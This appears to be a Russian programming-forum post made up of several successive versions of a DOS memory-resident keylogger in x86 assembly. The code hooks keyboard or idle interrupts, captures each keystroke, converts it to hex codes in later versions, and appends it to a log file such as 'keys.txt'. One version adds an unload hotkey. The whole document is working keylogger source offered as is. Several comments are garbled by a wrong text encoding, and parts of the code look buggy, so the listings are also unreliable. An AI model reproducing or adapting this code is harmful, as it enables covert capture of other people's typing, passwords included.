Записать коды вводимых символов

.286
cseg segment
assume cs:cseg, ds:cseg, ss:cseg, es:cseg
org 100h
 
Begin:
    jmp Init ; на метку инициализации
 
 
; === Обработчик 10h-ого прерывания ===
Int_10h_proc proc
       cmp ax,0FAAFh ;Это мы проверяем на повторную загрузку?
       jne Next_step ;Нет - смотрим дальше... 
 
       xchg ah,al    ;Да - меняем местами ah/al
       iret
 
Next_step:
       cmp ax,0FBAFh ;Это мы получаем текущий адрес log-файла?
       jne Run_int   ;Нет - передаем управление 10h-прерыванию... 
 
       push cs       ;Заносим в ES сегмент log-файла.
       pop es
       mov di,offset File_name ;Заносим в DI смещение log-файла
       iret          ;Выходим...
 
Run_int:
       jmp dword ptr cs:[0F8h] ;Передаем управление 10h-прерыванию.
Int_10h_proc endp
 
 
; === Обработчик 09h-ого прерывания ===
Int_09h_proc proc
       cli    ;Запрещаем все прерывания
       pushf  ;Дадим сперва управление...
       call dword ptr cs:[0FCh]  ;...оригинальному обработчику
 
       pusha       ;Сохраним регистры в стеке...
       push es
       push ds
 
       cld         ;Направление - вперед!
 
       in al,60h         ;Получим СКАН-КОД нажатой клавиши.
       test al,10000000b ;(=80h) Это отпускание клавиши?
       jnz Exit_09h      ;Если так, то сохранять ее код не надо 
 
       mov ax,cs   ;Сегментные регистры должны указывать на наш сегмент.
       mov ds,ax
       mov es,ax
 
       mov ah,1    ;Получим ASCII-код нажатой клавиши.
       int 16h
       jz Ext_code ;Буфер клавиатуры пуст? Тогда на выход. 
 
       or al,al        ;Введен расширенный код?
       jz Flash_buffer ;Тогда сохраним все, что вводили. 
 
       cmp al,13       ;Нажали Enter?
       jz Flash_buffer ;Тогда сохраняем введенные символы. 
 
       cmp al,27   ;ESC пропускаем...
       jz Ext_code
 
       cmp al,8    ;Нажали Backspace?
       jz Del_sym  ;Тогда удаляем последний символ из буфера 
 
       cmp al,09   ;Нажали TAB?
       jne NoTab_pressed ;Тогда просто поменяем его на пробел.
       mov al,32
 
NoTab_pressed:
       cmp al,32   ;Нажали что-то непонятное (код меньше 20h)?
       jb Ext_code ;Тогда на выход... 
 
       call Store_sym ;Иначе заносим введенный символ в буфер клавиатуры. 
 
Ext_code:
Exit_09h:
       pop ds ;Восстановим сохраненные регистры...
       pop es
       popa
 
       sti   ;Разрешим прерывания и
       iret  ;выходим из процедуры.
 
 
Flash_buffer:
       call Save_string   ;Сохраняем введенную строку в файл. 
       jmp short Exit_09h ;На выход. 
 
Del_sym:
       call Del_symbol    ;Пользователь нажал BackSpace!
       jmp short Exit_09h ;На выход. 
 
Int_09h_proc endp
 
 
; === Удаляем введенный символ, если пользователь нажал BackSpace ===
Del_symbol proc
       mov ax,cs:[0F6h] ;Занесем в AX количество введенных символов.
       or ax,ax         ;Буфер пуст?
       jz Exit_del      ;Тогда на выход. 
       dec word ptr cs:[0F6h] ;Иначе уменьшаем счетчик.
Exit_del:
       ret
Del_symbol endp
 
; === Заносим введенный символ в наш буфер ===
Store_sym proc
       mov di,cs:[0F6h] ;Занесем в DI количество введенных символов
       cmp di,79        ;Оно больше 79?
       jb OK_store ;Нет, меньше. Тогда дописываем в буфер очередной символ. 
 
       push di     ;Иначе сбросим буфер в файл.
       push ax
       call Save_string
       pop ax
       pop di
 
OK_store:
       stosb ;Занесем очередной символ в буфер.
       inc word ptr cs:[0F6h] ;Увеличим счетчик.
       ret   ;Вернемся... 
Store_sym endp
 
; === Записываем введенную строку в файл ===
Save_string proc
       mov di,cs:[0F6h] ;Занесем в DI количество символов в буфере.
       or di,di         ;Оно равно 0?
       jz Nothing_save  ;Тогда писать в файл ничего не надо. 
       add word ptr cs:[0F6h],2 ;Иначе допишем к концу строки...
       mov ax,0A0Dh             ;...переход на новую строку
       stosw                    ;(для удобства чтения).
 
       mov ax,3D02h    ;Откроем файл для чтения/записи.
       mov dx,offset File_name
       int 21h
       jc Nothing_save ;При ошибке - на выход... 
       mov Handle,ax
 
       mov bx,ax
       mov ax,4202h    ;Установим указатель на конец файла.
       xor cx,cx
       xor dx,dx
       int 21h
 
       mov cx,cs:[0F6h] ;CX=количество записываемых символов.
       mov bx,Handle
       xor dx,dx        ;Пишем с самого начала буфера.
       mov ah,40h
       int 21h          ;Добавляем в файл введенные символы...
 
       mov bx,Handle    ;Закроем файл.
       mov ah,3Eh
       int 21h
 
Nothing_save:
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода.
       ret ;Вернемся.
 
File_name db 'c:\keys', 19 dup (0) ;Имя файла для хранения введенных символов.
Handle dw ?
Save_string endp
 
 
;   === Инициализация (подготовка и настройка резидента) ===
Init:
       mov ax,0FAAFh ;Проверка на повторную загрузку.
       int 10h
       cmp ax,0AFFAh
       jne Next_step2
 
       mov ah,9      ;Мы уже в памяти! Выведем соответствующую строку.
       mov dx,offset Mess_memory
       int 21h
 
       mov ax,0FBAFh ;Получим сегмент и смещение имени log-файла
       int 10h
 
       mov dx,di     ;Получим командную строку
       call Get_cmd
 
       mov ah,3Ch    ;Создадим новый файл для записи введенных символов.
       xor cx,cx     ;Атрибуты обычные
       push es
       pop ds
       int 21h
 
       push cs
       pop ds
 
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
No_cmdline:
       ret   ;Выйдем в DOS...
 
Next_step2:
       mov di,offset File_name ;DI - куда будем заносить параметры ком.строки.
       call Get_cmd ;Получим командную строку... 
 
       mov ah,9
       lea dx,Mess_hello ;!!! LEA DX вместо MOV DX, OFFSET
       int 21h
 
       mov es,word ptr cs:[2Ch] ;Получим сегмент окружения DOS.
       mov ah,49h               ;Функция освобождения памяти.
       int 21h                  ;Освобождаем память...
 
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода символов.
 
;Проверим, существует ли уже наш log-файл.
       mov ax,3D00h
       mov dx,offset File_name
       int 21h
       jnc Ok_file
 
;Если не существует, то:
       mov ah,3Ch ;Создадим новый файл для записи введенных символов.
       xor cx,cx  ;Атрибуты обычные
       mov dx,offset File_name
       int 21h
 
Ok_file:
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
; === 09h ===
       mov ax,3509h
       int 21h ;Получим и сохраним адрес (вектор) 09h прерывания
       mov word ptr cs:[0FCh],bx ;Смещение...
       mov word ptr cs:[0FEh],es ;Сегмент...
 
       mov ax,2509h
       lea dx,Int_09h_proc
       int 21h  ;"Повесим" нашу процедуру на 09h прерывание
 
; === 10h ===
       mov ax,3510h
       int 21h ;Получим и сохраним вектор 10h прерывания
       mov word ptr cs:[0F8h],bx
       mov word ptr cs:[0FAh],es
 
       mov ax,2510h
       lea dx,Int_10h_proc
       int 21h  ;"Повесим" нашу процедуру на 10h прерывание
 
       lea dx,Init
       int 27h  ;Оставим часть программы в памяти.
 
 
; --- Получим параметры в командной строке ---
Get_cmd proc
       mov si,80h   ;SI=смещение командной строки.
       lodsb        ;Получим кол-во символов.
       cmp al,25    ;Больше 25?
       ja No_string ;Да - на метку No_string 
       or al,al     ;Нет командной строки?
       jz No_string ;На метку No_string 
 
       inc si       ;Теперь SI указывает на первый символ строки.
 
Next_char:
       lodsb      ;Получаем очередной символ.
       cmp al,0Dh ;Конец строки?
       je Got_cmd ;Да - на выход... 
       stosb      ;Иначе - сохраним символ в переменной File_name
       jmp short Next_char ;Следующий символ... 
 
Got_cmd:
       xor al,al ;Строка получена! Допишем ASCII 0 в конец
       stosb
       clc  ;Сбросим флаг переноса...
       ret  ;Выходим из процедуры
 
No_string:
       stc  ;Строка неверна! Установим флаг переноса.
       ret  ;Выходим из процедуры
Get_cmd endp
 
 
;  === Сообщения ===
Mess_hello db 'Резидент загружен',0Ah,0Dh,0Ah
          
Mess_memory db 0Ah,0Dh,'Программа уже загружена в память!',0Ah,0Dh,0Ah
        
cseg ends
end Begin

.286
cseg segment
assume cs:cseg, ds:cseg, ss:cseg, es:cseg
org 100h
 
Begin:
    jmp Init ; на метку инициализации
 
 
; === Обработчик 10h-ого прерывания ===
Int_10h_proc proc
       cmp ax,0FAAFh ;Это мы проверяем на повторную загрузку?
       jne Next_step ;Нет - смотрим дальше... 
 
       xchg ah,al    ;Да - меняем местами ah/al
       iret
 
Next_step:
       cmp ax,0FBAFh ;Это мы получаем текущий адрес log-файла?
       jne Run_int   ;Нет - передаем управление 10h-прерыванию... 
 
       push cs       ;Заносим в ES сегмент log-файла.
       pop es
       mov di,offset File_name ;Заносим в DI смещение log-файла
       iret          ;Выходим...
 
Run_int:
       jmp dword ptr cs:[0F8h] ;Передаем управление 10h-прерыванию.
Int_10h_proc endp
 
 
; === Обработчик 09h-ого прерывания ===
Int_09h_proc proc
       cli    ;Запрещаем все прерывания
       pushf  ;Дадим сперва управление...
       call dword ptr cs:[0FCh]  ;...оригинальному обработчику
       pushf
       pusha       ;Сохраним регистры в стеке...
       push ds es si di
                             ; push ds
 
      cld         ;Направление - вперед!
 
       in al,60h         ;Получим СКАН-КОД нажатой клавиши.
       test al,10000000b ;(=80h) Это отпускание клавиши?
       jnz Exit_09h      ;Если так, то сохранять ее код не надо 
       
       mov ax,cs   ;Сегментные регистры должны указывать на наш сегмент.
       mov ds,ax
       mov es,ax
 
       mov ah,1    ;Получим ASCII-код нажатой клавиши.
       int 16h
       jz Ext_code ;Буфер клавиатуры пуст? Тогда на выход. 
       
     cmp ax,2d18h 
      jz uninit
 
       or al,al        ;Введен расширенный код?
       jz Flash_buffer ;Тогда сохраним все, что вводили. 
 
       cmp al,13       ;Нажали Enter?
       jz Flash_buffer ;Тогда сохраняем введенные символы. 
        
             
     call Store_sym ;Иначе заносим введенный символ в буфер клавиатуры. 
 
 
Ext_code:  
   
Exit_09h:
       ;pop ds ;Восстановим сохраненные регистры...
       ;pop es
       ;popa
       pop di si es ds
       popa
       popf
       
       sti   ;Разрешим прерывания и
       iret  ;выходим из процедуры.
 
 
Flash_buffer:
        
       call Save_string   ;Сохраняем введенную строку в файл. 
       jmp short Exit_09h ;На выход. 
 
; выгружаем
uninit:
push ds
lds dx,cs:[0FCh]
mov ax,2509h
int 21h
mov AX, 2510h;восстановим старый вектор 
lds DX, cs:[0F8h]
int 21h 
pop ds
push cs
pop es
mov ah,49h
int 21h
call newline         
mov si,00h
push cs
pop es
lea bx,cs:EXIT
oou:
cmp si,11h
je  e_code
mov al,es:[bx]
int 10h
inc si
inc bx
jmp oou
e_code:
int 20h
jmp ext_code
                                   
Int_09h_proc endp 
 
 
newline proc
mov ah,0eh
mov al,0dh
int 10h
mov al,0ah
int 10h
ret
newline endp
 
; === Заносим введенный символ в наш буфер ===
Store_sym proc  
 
 mov di,cs:[0F6h] ;Занесем в DI количество введенных символов
       cmp di,79        ;Оно больше 79?
       jb OK_store ;Нет, меньше. Тогда дописываем в буфер очередной символ. 
 
       push di     ;Иначе сбросим буфер в файл.
       push ax
       call Save_string
       pop ax
       pop di
 
OK_store:
       stosb ;Занесем очередной символ в буфер.
       inc word ptr cs:[0F6h] ;Увеличим счетчик.
       ret   ;Вернемся... 
 
num     db  ?
 hex   db '0123456789ABCDEF'
Store_sym endp
 
; === Записываем введенную строку в файл ===
Save_string proc
       mov di,cs:[0F6h] ;Занесем в DI количество символов в буфере.
       or di,di         ;Оно равно 0?
       jz Nothing_save  ;Тогда писать в файл ничего не надо. 
       add word ptr cs:[0F6h],2 ;Иначе допишем к концу строки...
       mov ax,0A0Dh             ;...переход на новую строку
       stosw                    ;(для удобства чтения).
 
       mov ax,3D02h    ;Откроем файл для чтения/записи.
       mov dx,offset File_name
       int 21h
       jc Nothing_save ;При ошибке - на выход... 
       mov Handle,ax
 
       mov bx,ax
       mov ax,4202h    ;Установим указатель на конец файла.
       xor cx,cx
       xor dx,dx
       int 21h
 
       mov cx,cs:[0F6h] ;CX=количество записываемых символов.
       mov bx,Handle
       xor dx,dx        ;Пишем с самого начала буфера.
       mov ah,40h
       int 21h          ;Добавляем в файл введенные символы...
 
       mov bx,Handle    ;Закроем файл.
       mov ah,3Eh
       int 21h
 
Nothing_save:
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода.
       ret ;Вернемся.
 
File_name db 'keys.txt', 19 dup (0) ;Имя файла для хранения введенных символов.
Handle dw ?
Save_string endp
 
 
;   === Инициализация (подготовка и настройка резидента) ===
Init:
       mov ax,0FAAFh ;Проверка на повторную загрузку.
       int 10h
       cmp ax,0AFFAh
       jne Next_step2
 
       mov ah,9      ;Мы уже в памяти! Выведем соответствующую строку.
       mov dx,offset Mess_memory
       int 21h
 
       mov ax,0FBAFh ;Получим сегмент и смещение имени log-файла
       int 10h
 
       mov dx,di     ;Получим командную строку
       call Get_cmd
 
       mov ah,3Ch    ;Создадим новый файл для записи введенных символов.
       xor cx,cx     ;Атрибуты обычные
       push es
       pop ds
       int 21h
 
       push cs
       pop ds
 
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
No_cmdline:
       ret   ;Выйдем в DOS...
 
Next_step2:
       mov di,offset File_name ;DI - куда будем заносить параметры ком.строки.
       call Get_cmd ;Получим командную строку... 
 
       mov ah,9
       lea dx,Mess_hello ;!!! LEA DX вместо MOV DX, OFFSET
       int 21h
 
       mov es,word ptr cs:[2Ch] ;Получим сегмент окружения DOS.
       mov ah,49h               ;Функция освобождения памяти.
       int 21h                  ;Освобождаем память...
 
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода символов.
 
;Проверим, существует ли уже наш log-файл.
       mov ax,3D00h
       mov dx,offset File_name
       int 21h
       jnc Ok_file
 
;Если не существует, то:
       mov ah,3Ch ;Создадим новый файл для записи введенных символов.
       xor cx,cx  ;Атрибуты обычные
       mov dx,offset File_name
       int 21h
 
Ok_file:
       mov bx,ax
       mov ah,3Eh ;После создания/открытия файла, его нужно закрыть!
       int 21h
 
; === 09h ===
       mov ax,3509h
       int 21h ;Получим и сохраним адрес (вектор) 09h прерывания
       mov word ptr cs:[0FCh],bx ;Смещение...
       mov word ptr cs:[0FEh],es ;Сегмент...
 
       mov ax,2509h
       lea dx,Int_09h_proc
       int 21h  ;"Повесим" нашу процедуру на 09h прерывание
 
; === 10h ===
       mov ax,3510h
       int 21h ;Получим и сохраним вектор 10h прерывания
       mov word ptr cs:[0F8h],bx
       mov word ptr cs:[0FAh],es
 
       mov ax,2510h
       lea dx,Int_10h_proc
       int 21h  ;"Повесим" нашу процедуру на 10h прерывание
 
       lea dx,Init
       int 27h  ;Оставим часть программы в памяти.
 
 
; --- Получим параметры в командной строке ---
Get_cmd proc
       mov si,80h   ;SI=смещение командной строки.
       lodsb        ;Получим кол-во символов.
       cmp al,25    ;Больше 25?
       ja No_string ;Да - на метку No_string 
       or al,al     ;Нет командной строки?
       jz No_string ;На метку No_string 
 
       inc si       ;Теперь SI указывает на первый символ строки.
 
Next_char:              
 
       lodsb      ;Получаем очередной символ.
       cmp al,0Dh ;Конец строки?
       je Got_cmd ;Да - на выход... 
       stosb      ;Иначе - сохраним символ в переменной File_name
       jmp short Next_char ;Следующий символ... 
 
Got_cmd:
       xor al,al ;Строка получена! Допишем ASCII 0 в конец
       stosb
       clc  ;Сбросим флаг переноса...
       ret  ;Выходим из процедуры
 
No_string:
       stc  ;Строка неверна! Установим флаг переноса.
       ret  ;Выходим из процедуры
Get_cmd endp
;  === Сообщения ===
 
Mess_hello db 0Ah,0Dh,'rezident loaded$ ',0Ah,0Dh
 
Mess_memory db 0Ah,0Dh,'programma uge zagrugena$',0Ah,0Dh
 
EXIT   db 13,10,'rezident unloaded$', 13,10 
cseg ends
end Begin

; === Заносим введенный символ в наш буфер ===
Store_sym proc  
 
 mov di,cs:[0F6h] ;Занесем в DI количество введенных символов
;****************
       cmp di,78 ;79        ;Оно больше 79?
;*****************
       jb OK_store ;Нет, меньше. Тогда дописываем в буфер очередной символ. 
 
       push di     ;Иначе сбросим буфер в файл.
       push ax
       call Save_string
       pop ax
       pop di
 
OK_store:
;**************
;Вход: AL-символ
;Выход: AX-преобразованный символ
    xor ah,ah
    shl ax,4
    shr al,4
    cmp al,10
    sbb al,69h
    das
    xchg al,ah
    cmp al,10
    sbb al,69h
    das
 
       stosw            ;Занесем очередной символ в буфер.
    mov byte ptr [di],' '        ;записать пробел
    inc di
    add word ptr cs:[0F6h],3 ;два символа и пробел
;*************
;       stosb ;Занесем очередной символ в буфер.
;       inc word ptr cs:[0F6h] ;Увеличим счетчик.
       ret   ;Вернемся... 
;*************** 
;num     db  ?
; hex   db '0123456789ABCDEF'
;****************
Store_sym endp
 
; === Записываем введенную строку в файл ===
Save_string proc
       mov di,cs:[0F6h] ;Занесем в DI количество символов в буфере.
       or di,di         ;Оно равно 0?
       jz Nothing_save  ;Тогда писать в файл ничего не надо. 
       add word ptr cs:[0F6h],2 ;Иначе допишем к концу строки...
       mov ax,0A0Dh             ;...переход на новую строку
;*****
dec di  ;записать на место последнего пробела
;*****
      stosw                    ;(для удобства чтения).
 
       mov ax,3D02h    ;Откроем файл для чтения/записи.
       mov dx,offset File_name
       int 21h
       jc Nothing_save ;При ошибке - на выход... 
       mov Handle,ax
 
       mov bx,ax
       mov ax,4202h    ;Установим указатель на конец файла.
       xor cx,cx
       xor dx,dx
       int 21h
 
       mov cx,cs:[0F6h] ;CX=количество записываемых символов.
;**********
dec cx
;**********
       mov bx,Handle
       xor dx,dx        ;Пишем с самого начала буфера.
       mov ah,40h
       int 21h          ;Добавляем в файл введенные символы...
 
       mov bx,Handle    ;Закроем файл.
       mov ah,3Eh
       int 21h
 
Nothing_save:
       mov word ptr cs:[0F6h],0 ;Обнулим буфер ввода.
       ret ;Вернемся.
 
File_name db 'keys.txt', 19 dup (0) ;Имя файла для хранения введенных символов.
Handle dw ?
Save_string endp

;TASM, COM-файл
.model tiny
.code
.386
org 100h
start:
Int_28h:
    jmp Initial ;3 Ў*©в*
    dw  0   ;Ё ҐйҐ 3 ¤«п Є®¬**¤л pushf Ё call [int_1C]
    db  0
pushf
push es ds si di
pusha
    push cs
    pop ds
    push cs
    pop es
push es
    push 40h
    pop es
 
    mov si,es:[1ch]
    cmp [m1C],si
    jz short Exit_28
    mov [m1C],si
    mov ax,es:[si-2]
pop es
    test al,al
    jz short Ext_code
 
    cmp al,1Eh
    jz short Ext_code
 
    cmp al,13       ;Нажали Enter?
    jnz short Not_enter ;Тогда сохраняем введенные символы.
    call Save_string
    jmp short Ext_code
Not_enter:
    cmp al,27       ;ESC пропускаем...
    jz short Ext_code
 
    cmp al,8            ;Нажали Backspace?
    jnz short Not_del       ;Тогда удаляем последний символ из буфера 
    call Del_symbol
    jmp short Ext_code
Not_del:
    cmp al,9        ;Нажали TAB?
    jnz short NoTab_pressed ;Тогда просто поменяем его на пробел.
;   mov al,32       ;Если нужен пробел, а не табуляцмя
    jmp short Save
NoTab_pressed:
    cmp al,32
    jz short Save
 
    test ah,ah
    jnz short Ext_code
Save:
    call Store_sym      ;Иначе заносим введенный символ в буфер клавиатуры. 
    jmp short Ext_code
 
Exit_28:
 
pop es
 
Ext_code:
 
popa
pop di si ds es
popf
    iret
;---------------------------------
INT_28  dd  ?
;---------------------------------
 
; === Удаляем введенный символ, если пользователь нажал BackSpace ===
Del_symbol proc near
    mov di,[DI_tmp]
    cmp word ptr [Len],0
    jz short Exit_del   ;Тогда на выход. 
    sub [Len],3     ;Иначе уменьшаем счетчик.
    sub [DI_tmp],3
Exit_del:
    ret
Del_symbol endp
 
; === Заносим введенный символ в наш буфер ===
Store_sym proc near
    mov di,[DI_tmp]
 
    xor ah,ah
    shl ax,4
    shr al,4
    cmp al,10
    sbb al,69h
    das
    xchg al,ah
    cmp al,10
    sbb al,69h
    das
 
    stosw           ;Занесем очередной символ в буфер.
    mov byte ptr [di],' '
    inc di
    mov [Di_tmp],di
    add word ptr [Len],3
    cmp word ptr [Len],78
    jnz short not_save
    call Save_string
not_save:
    ret         ;Вернемся... 
Store_sym endp
 
; === Записываем введенную строку в файл ===
Save_string proc near
    mov di,[DI_tmp]
    cmp word ptr [Len],0
    jz short Nothing_save   ;Тогда писать в файл ничего не надо. 
    inc [Len]
    mov ax,0A0Dh        ;...переход на новую строку
    dec di
    stosw           ;(для удобства чтения).
 
    mov ah,3Dh;02h      ;Откроем файл для чтения/записи.
    mov al,11000010b
    lea dx,File_name
    int 21h
    jc short Nothing_save   ;При ошибке - на выход... 
    mov [Handle],ax
 
    mov bx,ax
    mov ax,4202h        ;Установим указатель на конец файла.
    xor cx,cx
    xor dx,dx
    int 21h
 
    mov cx,[Len]        ;CX=количество записываемых символов.
    mov bx,[Handle]
    lea dx,buf
    mov ah,40h
    int 21h         ;Добавляем в файл введенные символы...
 
    mov bx,[Handle]     ;Закроем файл.
    mov ah,3Eh
    int 21h
 
Nothing_save:
    mov word ptr [Len],0    ;Обнулим буфер ввода.
    lea di,buf
    mov [DI_tmp],di
 
       ret          ;Вернемся.
 
File_name db 'keys.txt',0;Имя файла для хранения введенных символов.
m1C dw ?
Len dw 0
DI_tmp  dw ?
Handle  dw ?
buf db 79 dup (30h)
Save_string endp
;******************************************* 
;   === Инициализация (подготовка и настройка резидента) ===
Initial:
 
    lea di,buf
    mov [DI_tmp],di
push es
    push 40
    pop es
    mov si,es:[1Ch]
    mov [m1C],si
 
; === 09h ===
       mov ax,3528h
       int 21h      ;Получим и сохраним адрес (вектор) 09h прерывания
       mov word ptr [Int_28],bx     ;Смещение...
       mov word ptr [Int_28+2],es   ;Сегмент...
 
       mov ax,2528h
       lea dx,Int_28h
       int 21h      ;"Повесим" нашу процедуру на 09h прерывание
pop es 
    mov cx,6
    lea si,_int
    lea di,start
    rep movsb
 
    mov ah,5Bh      ;Откроем файл для чтения/записи.
    mov cx,00100000b
    lea dx,File_name
    int 21h
    jc Nothing_save     ;При ошибке - на выход... 
    mov [Handle],ax
 
;       mov ah,3Eh
;       int 21h
 
       lea dx,Initial
       int 27h      ;Оставим часть программы в памяти.
 
_int:               ;ЇҐаўлҐ Є®¬**¤л ¤«п ¬®©Ј® ®Ўа*Ў®взЁЄ*
pushf
call dword ptr cs:[Int_28]
 
    end start